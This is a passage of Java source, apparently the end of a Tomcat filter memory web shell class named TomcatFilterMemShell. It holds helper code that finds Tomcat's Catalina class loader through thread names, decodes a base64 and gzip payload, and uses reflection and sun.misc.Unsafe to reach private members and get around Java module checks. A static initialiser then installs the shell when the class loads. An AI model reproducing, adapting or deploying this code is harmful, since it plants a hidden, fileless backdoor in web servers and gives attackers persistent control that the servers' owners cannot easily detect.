for(int i = 0; i < threads.length; ++i) {
if (threads[i].getName().contains("ContainerBackgroundProcessor")) {
catalinaLoader = threads[i].getContextClassLoader();
break;
}
}
return catalinaLoader;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str));
} catch (Exception var4) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str));
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while(clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException var4) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = obj instanceof Class ? (Class)obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while(method == null && tempClass != null) {
try {
if (paramClazz == null) {
Method[] methods = tempClass.getDeclaredMethods();
for(int i = 0; i < methods.length; ++i) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException var11) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke((Object)null, param);
} catch (IllegalAccessException var9) {
throw new RuntimeException(var9.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException var10) {
throw new RuntimeException(var10.getMessage());
}
}
}
}
public static void bypassModule(Class currentClass) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Object unsafe = field.get(null);
Object baseModule = Class.class.getMethod("getModule").invoke(Object.class);
long offset = (long) invokeMethod(unsafe, "objectFieldOffset", new Class[]{Field.class}, new Object[]{Class.class.getDeclaredField("module")});
invokeMethod(unsafe, "putObject", new Class[]{Object.class, long.class, Object.class}, new Object[]{currentClass, offset, baseModule});
}
static {
new TomcatFilterMemShell();
}
}